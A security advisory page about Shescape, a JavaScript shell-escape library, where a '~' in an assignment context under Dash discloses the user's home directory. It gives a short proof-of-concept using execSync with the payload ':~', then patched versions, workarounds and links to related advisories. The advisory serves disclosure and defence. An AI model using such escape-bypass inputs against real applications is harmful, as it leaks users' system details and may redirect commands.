GHSA-q53c-4prm-w95qMedium▾ SunlitShescape: Home-directory disclosure in assignment context on Unix with Dash
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
This impacts users of Shescape on Unix systems that explicitly configure shell to Dash, or true when the default shell is Dash, using the escape and escapeAll APIs in assignments prefixed to a command.
An attacker may be able to obtain the location of the home directory and, depending on how it is used, change the location on which a command operates in unexpected ways.
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "dash",
// Or
shell: true, // Only if the default shell is Dash
};
// 2. Payload
const payload = ":~";
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);
// And (example)
const result = cp.execSync(`V=${escapedPayload}; echo $V`, options);
// 4. Impact
console.log(result.toString());
// Outputs ":" followed by the user's home directory
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Alternatively, users of Shescape can 1) refrain from using Dash, 2) use the env option of the node:child_process API to inject variables with untrusted values instead, or 3) remove all instances of ~ from untrusted inputs.
shescape < 2.1.14shescape >= 3.0.0, < 3.0.1Upgrade to a patched release:
shescape 2.1.14shescape 3.0.1Connected by shared product, vendor, weakness, or advisory.
GHSA-6v4m-fw66-8r4xMediumShescape: Path disclosure on Unix with Zsh
GHSA-w4hw-qcx7-56prCriticalShescape: Shell injection via unescaped parentheses on Windows with CMD
GHSA-gm3r-q2wp-hw87HighShescape: Quadratic-time denial of service in the flag-protection
CVE-2026-73411NoneShescape is a simple shell escape library for JavaScript
CVE-2021-25122High· 7.5When responding to new h2c connection requests, Apache Tomcat versions 10.0.0-M1 to 10.0.0, 9.0.0.M1 to 9.0.41 and 8.5.0 to 8.5.61 could duplicate request headers and a limited amount of request body from one request to another meaning u…
CVE-2023-29541High· 8.8Firefox did not properly handle downloads of files ending in <code>.desktop</code>, which can be interpreted to run attacker-controlled commands